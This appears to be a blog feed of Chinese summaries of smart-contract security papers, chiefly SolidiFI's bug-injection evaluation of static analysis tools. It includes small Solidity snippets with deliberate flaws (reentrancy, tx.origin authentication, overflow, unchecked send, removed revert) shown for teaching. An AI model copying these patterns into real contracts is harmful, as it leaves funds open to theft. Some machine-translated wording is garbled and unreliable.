/>字节码是智能合约的已编译十六进制格式。在字节码级别进行Solidity合同验证足以检测漏洞,但是,将问题追溯到Solidity源代码,开发人员可以解决该问题具有挑战性。一些技术将Solidity代码转换为F* 语言或以中间形式表示代码,例如LLVM IR(中间表示)或XML [8] – [10]。<br />然后对 中间表示 进行漏洞分析。</p><p>该技术不支持将中间形式转换回Solidity,这会导致源代码的可追溯性丧失。</p><p>2、Solidity code generation from AST/Intermediate form:当前,从中间形式或AST转换回Solidity的支持有限。我们只知道一种工具Soltar [12],它支持将Solidity AST转换回Solidity代码。<br />但是,Soltar 不提供SIF支持的功能来查询和修改AST。此外,Soltar不被维护,并且不支持Solidity版本0.4.3及更高版本。第三部分介绍的SIF能够处理最新的Solidity版本0.5.3和较旧的版本。</p><p>现有的工具Zeus [10]支持将Solidity代码转换为LLVM位代码,但不具备从位代码返回Solidity的功能。<br />另外,不支持完整的Solidity语法(throw语句,自销毁,虚拟函数和汇编代码块),并且没有提供代码检测的准备。Porosity[13]和以太坊智能合约反编译器JEB [14]可以将字节码转换回Solidity码。<br />但是,这些工具不支持Solidity代码查询,修改和检测。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>Evaluating Smart Contract Static Analysis Tools Using Bug Injection</title>
<link href="/2020/125ff8d3f9.html"/>
<url>/2020/125ff8d3f9.html</url>
<content type="html"><![CDATA[<h1 id="solidifi"><a class="markdownIt-Anchor" href="#solidifi"></a> SolidiFI</h1><p>论文题目:(2020-ISSTA) <a href="https://arxiv.org/abs/2005.11613">How Effective are Smart Contract Analysis Tools? Evaluating Smart Contract Static Analysis Tools Using Bug Injection</a></p><p>论文引用:Ghaleb A, Pattabiraman K. How Effective are Smart Contract Analysis Tools? Evaluating Smart Contract Static Analysis Tools Using Bug Injection[J]. arXiv preprint arXiv:2005.11613, 2020.</p><hr /><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>本研究的主要目标是建立一种系统的方法来评估检测智能合约的静态分析,关键思想是将漏洞注入到智能合约源代码中的所有有效位置。本文提出了SolidiFI用于评估智能合约静态分析工具的自动化系统方法。 SolidiFI基于将 Bugs(即代码缺陷)注入到智能合约的所有潜在位置中以引入针对性的安全漏洞。然SolidiFI使用静态分析工具检查生成的合同,并识别工具无法检测到的错误(假阴性,False negatives,FN)和假阳性(FP,false positives)的错误。 SolidiFI评估了六个广泛使用的静态分析工具,即Oyente,Securify,Mythril,SmartCheck,Manticore和Slither,使用了9369个不同的漏洞注入的<mark>50个合同</mark>。</p><h3 id="智能合约背景"><a class="markdownIt-Anchor" href="#智能合约背景"></a> 智能合约背景</h3><p>智能合约的理论一旦部署在区块链上实际上就无法更新,并且Etherscan上的交易是一成不变的,此外,智能合约的丰厚的利益回报还为攻击者提供了诱因,使攻击者可以针对智能合约寻找漏洞。<br />针对智能合约的攻击事件以及这些攻击导致价值数百万美元的损失,因此实际上需要对智能合约进行分析以发现错误并进行修复,然后再部署到区块链上,当然已经提出了这样的工具使开发人员能够发现智能合约中的安全漏洞,不幸的是,这些工具不影响安全智能合约的部署,没有这样的系统性方法或方法可以用来评估此功能的有效性。(<a href="https://applicature.com/blog/blockchain-technology/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes">以太坊安全漏洞,黑客及其修复的历史</a>)</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs javascript">pragma solidity >=<span class="hljs-number">0.4</span><span class="hljs-number">.21</span> <<span class="hljs-number">0.6</span><span class="hljs-number">.0</span>;<br>contract EGame {<br>address payable private winner ;<br>uint startTime ;<br><br><span class="hljs-title">constructor</span> (<span class="hljs-params"></span>) <span class="hljs-title">public</span> {<br>winner = msg . sender ;<br>startTime = block . timestamp ; <span class="hljs-comment">// timestamp dependency bug</span><br> }<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">play</span> (<span class="hljs-params"> bytes32 guess </span>) <span class="hljs-title">public</span> </span>{<br><span class="hljs-keyword">if</span>( keccak256 (abi.encode(guess)) ==keccak256 (abi.encode (<span class="hljs-string">'solution '</span>))){<br><span class="hljs-keyword">if</span> ( startTime + (<span class="hljs-number">5</span> * <span class="hljs-number">1</span> days ) == block . timestamp){ <span class="hljs-comment">// timestamp dependency bug</span><br>winner = msg.sender ;}}}<span class="hljs-comment">// transaction ordering dependence(TOD)</span><br> <br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getReward</span> (<span class="hljs-params"></span>) <span class="hljs-title">payable</span> <span class="hljs-title">public</span> </span>{<br>winner.transfer ( msg.value );}<span class="hljs-comment">// TOD</span><br>}<br></code></pre></td></tr></table></figure><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><h3 id="漏洞类型"><a class="markdownIt-Anchor" href="#漏洞类型"></a> 漏洞类型</h3><h4 id="timestamp-dependency"><a class="markdownIt-Anchor" href="#timestamp-dependency"></a> Timestamp dependency</h4><p>合同可以使用该块的当前时间戳来触发一些与时间有关的事件。考虑到以太坊的分散性,矿工可以(在某种程度上)更改时间戳。恶意矿工可以使用此功能并更改时间戳以使自己满意。<br />该漏洞已在<mark>GoverMental Ponzi计划</mark>攻击中被利用。因此,开发人员不应依赖该块时间戳的精度。图4显示了代表该错误的代码段示例</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bug_tmstmp</span> (<span class="hljs-params"></span>) <span class="hljs-title">public</span> <span class="hljs-title">returns</span> (<span class="hljs-params"> bool </span>)</span><br><span class="hljs-function"></span>{ <br> <span class="hljs-keyword">return</span> block.timestamp >= <span class="hljs-number">1546300</span>;<span class="hljs-comment">// Timestamp dependency</span><br>}<br></code></pre></td></tr></table></figure><center>Timestamp dependency examples.</center><h4 id="unhandled-exceptions"><a class="markdownIt-Anchor" href="#unhandled-exceptions"></a> Unhandled exceptions</h4><p>在以太坊中,合约可以相互调用,并相互发送以太币(例如,send指令,call指令等)。如果被调合约抛出了异常(例如,执行所需的限制气体),则合同终止,其状态恢复,并且将false返回给调用合同。<br />因此,调用合同中未经检查的返回值可用于攻击合同,从而导致不良行为。此漏洞的严重版本出现在==“King of the Ether”== 中。下图显示了一个示例(send()指令要求检查其返回值是否存在异常以确保其安全性)。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">unhandledsend</span> (<span class="hljs-params"></span>) <span class="hljs-title">public</span> </span>{<br> callee.send(<span class="hljs-number">5</span> ether);<span class="hljs-comment">// Unhandled exceptions</span><br>}<br></code></pre></td></tr></table></figure><center>Unhandled exceptions</center><h4 id="integer-overflowunderflow"><a class="markdownIt-Anchor" href="#integer-overflowunderflow"></a> Integer overflow/underflow</h4><p>在Solidity中,将值存储在大于或小于其限制的整数变量中会导致整数上溢或下溢。<br />攻击者可以使用它来欺诈地窃取资金。例如,下图显示了一个示例代码片段,其中攻击者可以通过调用函数incrLockTime并传递256作为参数来为用户重置lockTime,这将导致溢出,并最终将lockTime设置为0。<mark>Batch Transfer Overflow</mark>是个真实例子。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">incrLockTime</span> (<span class="hljs-params"> uint _sec </span>) <span class="hljs-title">public</span> </span>{<br> lockTime [msg.sender ] += _sec ;<span class="hljs-comment">// Integer overflow</span><br>}<br></code></pre></td></tr></table></figure><center>Integer overflow example</center><h4 id="use-of-txorigin"><a class="markdownIt-Anchor" href="#use-of-txorigin"></a> Use of tx.origin</h4><p>在调用链中,当合同彼此调用函数时,使用tx.origin(返回最初发送调用的第一个调用者)进行身份验证而不是使用msg.sender(返回直接调用者)进行身份验证。导致<mark>phishing-like attacks</mark>类攻击。下图显示了一个示例片段,其中使用tx.origin提取资金</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bug_txorigin</span> (<span class="hljs-params">address _recipient</span>) <span class="hljs-title">public</span> </span>{<br> <span class="hljs-built_in">require</span> (tx.origin == owner);<br> _recipient.transfer (<span class="hljs-built_in">this</span>.balance );<br>}<br></code></pre></td></tr></table></figure><center>Use of tx.origin example</center><h4 id="re-entrancy"><a class="markdownIt-Anchor" href="#re-entrancy"></a> Re-entrancy</h4><p>合同在其接口中公开外部调用。攻击者可以劫持这些外部调用,以多次调用合约本身内的函数,从而在合约本身内执行意外操作。例如,攻击者可以使用图中所示的代码段的第3行中的外部调用来重复调用bug_reEntrancy()函数,从而有可能导致以太币的提取多于用户的余额。 ==DAO攻击[dao 2016]==是利用此bug的一个著名示例。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bug_reEntrancy</span> (<span class="hljs-params"> uint256 _Amt </span>) <span class="hljs-title">public</span> </span>{<br> <span class="hljs-built_in">require</span> (balances [msg.sender ] >= _Amt );<br> <span class="hljs-built_in">require</span> (msg.sender.call.value( _Amt )); <span class="hljs-comment">// Re-entrancy</span><br> balances [msg.sender ] -= _Amt ;<br>}<br></code></pre></td></tr></table></figure><center>Re-entrance example</center><h4 id="unchecked-send"><a class="markdownIt-Anchor" href="#unchecked-send"></a> Unchecked send</h4><p>如果外部用户对公众可见,即使他们没有正确的凭据,也可以由外部用户调用未经授权的以太坊传输,例如非零发送。这意味着未经授权的用户可以调用此类功能,并从易受攻击的合同[sol [n.d.]]中转移以太币。下图显示了一个示例代码片段。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bug_unchkSend</span> (<span class="hljs-params"></span>) <span class="hljs-title">payable</span> <span class="hljs-title">public</span> </span>{<br> msg.sender.transfer (<span class="hljs-number">1</span> ether );<br>}<br></code></pre></td></tr></table></figure><center>Unchecked send example</center><h4 id="transaction-ordering-dependence-tod"><a class="markdownIt-Anchor" href="#transaction-ordering-dependence-tod"></a> Transaction Ordering Dependence (TOD)</h4><p>TOD bug 是开发人员不应依赖智能合约的状态。</p><p>在具有多次调用合同的单个块中更改交易顺序会导致更改最终输出。<br />恶意矿工可以从中受益。易受此bug攻击的示例代码片段如下图所示。在此示例中,攻击者可以通过在bug_tod1()之前执行bug_tod2()来向自己而不是游戏的赢家发送解决难题的奖励。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript">address payable winner_tod ;<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setWinner_tod</span> (<span class="hljs-params"></span>) <span class="hljs-title">public</span> </span>{<br> winner_tod = msg.sender ;}<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getReward_tod</span> (<span class="hljs-params"></span>)<span class="hljs-title">payable</span> <span class="hljs-title">public</span> </span>{<br> winner_tod.transfer ( msg.value );}<br></code></pre></td></tr></table></figure><center>TOD example</center><h3 id="bug-injection-challenges"><a class="markdownIt-Anchor" href="#bug-injection-challenges"></a> Bug injection challenges</h3><p>将bug注入智能合约的最简单方法是将它们注入随机位置,但是,随机注入并不是一种经济有效的方法,因为我们必须遵循特定的准则才能使注入的bug可以被利用。确定了两个主要挑战</p><h4 id="bug-injection-locations"><a class="markdownIt-Anchor" href="#bug-injection-locations"></a> Bug injection locations</h4><p>由于某些工具使用的基础技术(例如,符号执行)取决于所分析合约中的控制和数据流,因此将每个Bug的实例注入单个位置是不够的。因此,应将bug注入合同代码中的所有潜在位置。<br />另一方面,确定潜在位置的过程取决于原始合同的代码,还取决于每个错误的类型和性质。</p><h4 id="semantics-dependency"><a class="markdownIt-Anchor" href="#semantics-dependency"></a> Semantics dependency</h4><p>为了使注入的漏洞成为攻击者可以利用的活动漏洞(active bug),必须使其与原始合同的语义保持一致。例如,假设我们要通过调用外部合同来注入拒绝服务(DoS,Denial of Service)Bug。可以将if语句与包含对另一个合约函数的调用的条件一起使用。但是,要执行此错误,我们还需要定义适当的外部合同。</p><p>SolidiFI通过将Solidity语言<mark>解析为抽象语法树(AST)并将bug注入所有语法有效的位置</mark>来解决第一个挑战。它通过为<mark>每种错误类型制定可利用的代码段</mark>来应对第二个挑战。</p><h3 id="bug-model"><a class="markdownIt-Anchor" href="#bug-model"></a> Bug model</h3><p>SolidiFI执行步骤:</p><ol><li>将安全漏洞的代码段插入所有可能位置的每个智能合约的源代码中,注入位置的选择取决于要注入的漏洞类型。</li><li>静态分析工具扫描注入的代码。</li><li>检查每个工具的结果,并测量假阴性和假阳性。</li></ol><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201205190103.png" alt="image-20201205190103555" /></p><center>SolidiFI Workflow</center><p>SolidiFI从作者准备的预定义可扩展漏洞库中读取要插入的代码段,对于每个工具,仅注入该工具声称可以检测的漏洞类型。</p><ul><li>Code snippets which lead to vulnerabilities</li><li>Injecting bugs claimed to be detected</li><li>Playing the role of developers rather attackers</li><li>Injecting distinct bugs as possible</li></ul><h3 id="bug-injection"><a class="markdownIt-Anchor" href="#bug-injection"></a> Bug injection</h3><p>通过三种方式将安全漏洞注入源代码。</p><h4 id="full-code-snippet"><a class="markdownIt-Anchor" href="#full-code-snippet"></a> Full code snippet</h4><p>为每个漏洞准备了几个代码段。</p><h4 id="code-transformation"><a class="markdownIt-Anchor" href="#code-transformation"></a> Code transformation</h4><p>这种方法旨在在不更改其功能的情况下转换一段代码,但使其易于受到特定bug的影响。我们利用已知的易受攻击的代码模式来注入此bug。使用这种方法来注入与该方法兼容的两个错误类,即(1)整数上溢/下溢和(2)使用tx.origin。</p><p>表1显示了替换为引入错误的代码模式的示例,以及每种错误类型的易受攻击的模式。</p><center>Table1 Code transformation patterns</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201206112723.png" alt="image-20201206112723654" /></p><p>图11显示了使用这种方法进行漏洞注入之前和之后的示例。在此示例中,transfer 指令用于在验证sendto()的直接调用方为所有者之后,将指定的以太金额转移到接收者的帐户中。<br />要注入tx.origin错误,应将授权条件 msg.sender == owner 替换为 tx.origin == owner,其中owner不是sendto()的直接调用者。但是,授权检查已成功通过,这使攻击者可以进行自我授权,并从合同发送以太币,即使他们不是所有者。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/*( Before )*/</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sendto</span> (<span class="hljs-params"> address receiver , uint amount </span>) <span class="hljs-title">public</span></span><br><span class="hljs-function"></span>{<br> <span class="hljs-built_in">require</span> ( msg.sender == owner );<br> receiver.transfer ( amount );}<br><span class="hljs-comment">/*( After injection )*/</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sendto</span> (<span class="hljs-params"> address receiver , uint amount </span>) <span class="hljs-title">public</span> </span>{<br> <span class="hljs-built_in">require</span> (tx.origin == owner);<br> receiver.transfer (amount);}<br></code></pre></td></tr></table></figure><center>Code transformation example.</center><h4 id="security-weakening"><a class="markdownIt-Anchor" href="#security-weakening"></a> Security weakening</h4><p>这种方法削弱了智能合约代码中的安全保护机制,可以保护外部调用。我们的目标是评估静态分析工具,而不是智能合约本身。我们使用这种方法来注入未处理的异常错误。<br />下图显示了一个示例,其中通过删除revert()语句(通过该语句在转移交易失败时还原合同状态)来注入未处理的异常bug即使交易失败,余额也会错误地变为0。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/*( Before )*/</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdrawBal</span> (<span class="hljs-params"></span>) <span class="hljs-title">public</span> </span>{<br> Balances [ msg . sender ] = <span class="hljs-number">0</span>;<br> <span class="hljs-keyword">if</span> (! msg . sender . send ( Balances [ msg . sender ])){ <br> revert (); }}<br><br><span class="hljs-comment">/*( After injection )*/</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdrawBal</span> (<span class="hljs-params"></span>) <span class="hljs-title">public</span> </span>{<br> Balances [ msg . sender ] = <span class="hljs-number">0</span>;<br> <span class="hljs-keyword">if</span> (! msg . sender . send ( Balances [ msg . sender ]))<br> { <span class="hljs-comment">// revert (); </span><br> }}<br></code></pre></td></tr></table></figure><h3 id="solidifi-algorithm"><a class="markdownIt-Anchor" href="#solidifi-algorithm"></a> SOLIDIFI ALGORITHM</h3><p>注入漏洞的过程将智能合约的抽象语法树(AST)作为输入,并具有以下步骤:</p><p>1、确定潜在的漏洞注入位置,并生成带注释的AST(annotated AST),标记所有确定的位置。</p><p>2、将bug注入所有标记的位置以生成包含漏洞的合同</p><p>3、使用评估工具检查包含漏洞的合同,并检查结果是否正确检测到漏洞。</p><h4 id="bug-locations-identification"><a class="markdownIt-Anchor" href="#bug-locations-identification"></a> Bug locations identification</h4><p>AST传递给漏洞位置标识符(Bug Locations Identifier),该漏洞标识符为给定的安全漏洞驱动目标合同中所有可能的注入位置的漏洞注入配置文件(BIP,bug injection profile)。</p><p>使用基于AST的分析通过算法1来识别智能合约代码中的潜在注入位置,从而得出BIP。</p><p>算法1将AST和要注入的漏洞类型作为输入,并输出BIP。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201206114121.png" alt="image-20201206114121170" /></p><p>bugs 采取两种形式:单独的语句和语句块。</p><p>语句块可以定义为独立功能,也可以定义为非功能块,例如"if"语句。因此,对于每种形式的错误,都使用一个规则,该规则定义了注入错误的位置。</p><p>为了识别这样的位置,对于定义要注入的错误类型的每种不同形式的代码片段,我们根据代码片段形式和相关规则(算法1中的2-10行)遍历AST.WalkAST(simpleStatement),例如,将解析AST,并找到可以在不使合同的编译状态无效的情况下插入简单语句的所有位置,对于其他形式的错误类型的代码段也是如此。在确定了注入错误代码段的位置之后,我们还将寻<mark>找削弱现有安全机制以引入相关错误的方法,并寻找要转换以引入缺陷的代码模式</mark>(第11和12行)。</p><p>After identifying the locations for injecting code snippets of bugs, we also look for existing security mechanisms to be weakened to introduce the related bug, and the code patterns to<br />be transformed for introducing the bug (lines 11 and 12).</p><h4 id="bug-injection-and-code-transformation"><a class="markdownIt-Anchor" href="#bug-injection-and-code-transformation"></a> Bug injection and code transformation</h4><p>SolidiFI使用系统的方法将错误注入目标合同中的潜在位置。错误注入器模型会为BIP中指定的每个位置播种错误。它使用基于文本的代码转换来修改代码,其中从AST派生的信息用于修改代码以注入错误。使用了三种不同的方法来注入错误。除了在目标合同中注入错误之外,Bug Injector还会生成一个BugLog,该BugLog为每个注入的bug指定唯一的标识符,并在目标合同中将其注入的对应位置指定一个或多个。</p><h4 id="buggy-code-check-and-results-inspection"><a class="markdownIt-Anchor" href="#buggy-code-check-and-results-inspection"></a> Buggy code check and results inspection</h4><p>生成的带漏洞合同将传递到工具评估器,后者使用评估中的工具检查越野车代码。<br />然后,在Bug Injector生成的BugLog的帮助下,扫描由工具生成的结果以查找已注入但未被检测到的bug。 SolidiFI仅考虑未检测到的注入错误。因此,如果经过评估的工具在注入错误的位置以外的其他位置报告了错误,则SolidiFI不会在其误报输出中考虑这些错误。这是为了避免SolidiFI报告原始合同中的潜在漏洞,从而使结果不正确。此外,SolidiFI会检查由工具生成的结果,以查找其他报告的错误,并检查它们是否为真正的错误或错误警报。</p><h2 id="三-实验评估"><a class="markdownIt-Anchor" href="#三-实验评估"></a> 三、实验评估</h2><p>在我们的实验中,我们使用了从50种智能合约中选择的数据集,这些智能合约从具有不同大小和不同连接能力的扫描中选择,实际上这些合约代表了兴趣,而在我们的研究中,我们回答了这三个研究问题,分别是假阴性和假阳性</p><h3 id="evaluation"><a class="markdownIt-Anchor" href="#evaluation"></a> Evaluation</h3><ul><li>6 static analysis tools<br />(Oyente, Securify,Mythril, Smartcheck,Manticore,Slither)</li><li>50 Smart Contracts representative of Etherscan (39-741 loc) ~Most Etherscancontracts size <1000 loc</li><li>Different functionalities and syntactic elements</li></ul><p>RQ1: False negatives of the evaluated tools?</p><p>RQ2: False positives of the evaluated tools?</p><p>RQ3: Injected bugs can be activated?</p><h3 id="setup"><a class="markdownIt-Anchor" href="#setup"></a> setup</h3><ul><li>7 common bug classesconsidered by the tools</li><li>9,369 distinct bugs</li><li>Timeout: 15 minutes persmart contract</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201205184313.png" alt="image-20201205184313316" /></p><h3 id="rq1-false-negatives-of-the-evaluated-tools"><a class="markdownIt-Anchor" href="#rq1-false-negatives-of-the-evaluated-tools"></a> RQ1: False negatives of the evaluated tools?</h3><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201205184258.png" alt="image-20201205184258116" /></p><ul><li><p>None of the tools detect all bugs</p></li><li><p>Many undetectedcorner cases</p></li><li><p>Misidentification is high as well</p></li></ul><h3 id="rq2-false-positives-of-the-evaluated-tools"><a class="markdownIt-Anchor" href="#rq2-false-positives-of-the-evaluated-tools"></a> RQ2: False positives of the evaluated tools?</h3><h4 id="challenges"><a class="markdownIt-Anchor" href="#challenges"></a> Challenges:</h4><ul><li>Lack of ground truth</li><li>Large number of bugs</li></ul><h4 id="approach"><a class="markdownIt-Anchor" href="#approach"></a> Approach:</h4><p>为了使确定假阳性的问题易于处理,我们提出了以下方法。主要思想是仅手动检查每个智能合约的大多数其他工具未报告的错误。保守地假设<mark>大多数工具报告的错误不能为假阳性</mark>。<br />对于每种工具,我们随机选择了大多数方法未排除的每种错误类型类别的20个错误,并手动对其进行了检查。对于那些错误数量小于或等于20的情况,我们进行了全部检查。</p><p>假设一个工具报告的错误总数为100。在这100个错误中,我们假设大多数其他智能合约工具也报告了60个错误,因此我们将其排除在外。在剩下的40个经过过滤的错误中,我们手动检查了随机选择的20个错误。假设其中16个确实为假阳性。过滤掉的错误中有80%是假阳性,并且估计假阳性的数量为32。</p><ul><li>Assuming a bug reported by the majority of the tools cannot be false positive</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201205185024.png" alt="image-20201205185024364" /></p><p>在表中:</p><ul><li>Threshold:表示多数阈值,即必须检测该错误才能将其排除在外的工具数量,此数量取决于能够检测到该错误类型的工具数量</li><li><code>Reported</code>显示该工具报告的错误数量</li><li>子列<code>FIL</code>显示已通过多数方法过滤(但不排除)的错误数量</li><li>子列<code>FP</code>显示了基于上述人工检查的工具的误报。</li><li>「miscellaneous」:某些工具检测到7类之外的错误</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201206160927.png" alt="image-20201206160927503" /></p><h3 id="rq3-injected-bugs-can-be-activated"><a class="markdownIt-Anchor" href="#rq3-injected-bugs-can-be-activated"></a> RQ3: Injected bugs can be activated?</h3><p>由于存在大量未检测到的错误,从不同的合同中为每种错误类型随机选择了5个未检测到的错误,以测试它们的激活。<br />表6显示了我们激活实验的结果。在表中“ –”表示我们无法对该错误类型进行实验,因为它要求攻击者充当矿工,这将消耗大量的计算资源。<br />结果表明,人们可以利用(激活)其相关带有漏洞的合同中的所有选定错误。因此,激活错误(the infeasibility of activation)是不可行的,并不是评估工具无法检测到注入的错误的原因。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201206162235.png" alt="image-20201206162235814" /></p><h2 id="四-总结评价"><a class="markdownIt-Anchor" href="#四-总结评价"></a> 四、总结评价</h2><p>1、本文主要贡献发现当前的静态分析工具依然仍然不成熟,并且假阴性(false negatives,FN)和假阳性(FP,false positives)的数量过高,这个跟之前的SmartBugs的工作类似,不过是采取的另一种方法。</p><p>2、提出了一种系统性注入漏洞的方法:SolidifI</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>S-gram: towards semantic-aware security auditing for ethereum smart contracts</title>
<link href="/2020/1243c4a066.html"/>
<url>/2020/1243c4a066.html</url>
<content type="html"><![CDATA[<h1 id="s-gram-towards-semantic-aware-security-auditing-for-ethereum-smart-contracts"><a class="markdownIt-Anchor" href="#s-gram-towards-semantic-aware-security-auditing-for-ethereum-smart-contracts"></a> S-gram: towards semantic-aware security auditing for ethereum smart contracts</h1><p>论文题目:(2018-ASE)<a href="https://ieeexplore.ieee.org/abstract/document/9000031">S-gram: towards semantic-aware security auditing for ethereum smart contracts</a> —— 以太坊智能合约的语义安全审查</p><p>论文引用:Liu H, Liu C, Zhao W, et al. S-gram: towards semantic-aware security auditing for ethereum smart contracts[C]//2018 33rd IEEE/ACM International Conference on Automated Software Engineering (ASE). IEEE, 2018: 814-819.</p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>本文提出了一种新的语义感知安全审计技术(semanticaware security auditing technique),称为以太坊S-gram方案。结合<mark>N-gram语言建模</mark>(N-gram language modeling)和静态语义标记(lightweight static semantic labeling)的S-gram方案可用于通过识别不规则标记序列并优化现有深度分析器来预测潜在漏洞。</p><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><h3 id="21-总体框架"><a class="markdownIt-Anchor" href="#21-总体框架"></a> 2.1 总体框架</h3><p>S-Gram的一般框架,如图所示。S-Gram工作分为两个阶段,即模型构建阶段(model construction phase)和安全审计阶段(security auditing phase)。在模型构建阶段,输入是大量智能合约语料库的集合。给定来自语料库的合约,静态分析器(Static Analyzer)执行轻量级分析以生成语义元数据,例如访问依赖性和事务流敏感性。然后,标记器(Tokenizer)将合约解析为标记了语义元数据的标记序列。接下来,S-Gram使基于n-gram的训练引擎训练S-Gram语言模型。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219093149.png" alt="image-20201219093142035" /></p><center>The general S-gram framework</center><h3 id="22-语义元数据生成semantic-metadata-generation"><a class="markdownIt-Anchor" href="#22-语义元数据生成semantic-metadata-generation"></a> 2.2 语义元数据生成(Semantic Metadata Generation)</h3><p>给定一个智能合约,S-Gram首先执行一个轻量级的静态分析来生成语义元数据,即作者设置的存储访问依赖性和流敏感度。接下来,我们将在图中描述使用合约生成语义元数据的详细信息</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219093749.png" alt="image-20201219093749441" /></p><center>An example Solidity smart contract used for explainingsemantic metadata generation</center><h3 id="23-标记化技术tokenization"><a class="markdownIt-Anchor" href="#23-标记化技术tokenization"></a> 2.3 标记化技术(Tokenization)</h3><p>生成语义元数据后,S-Gram执行标记化技术过程,将智能合约代码解析为标记序列。特别是,解析是通过以基于类型的方式遍历合约的抽象语法树(AST)来实现的,也就是说,令牌是由特定类型的ast节点生成的。图4显示了图3中reward函数的AST。每个节点都有一个特定的类型,例如callexpr、binaryexpr、id等。每个节点值都是合同的一个lexem,例如msg、address、0等。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219094017.png" alt="image-20201219094017667" /></p><center>The AST of the reward function</center><h3 id="34-预测-prediction"><a class="markdownIt-Anchor" href="#34-预测-prediction"></a> 3.4 预测 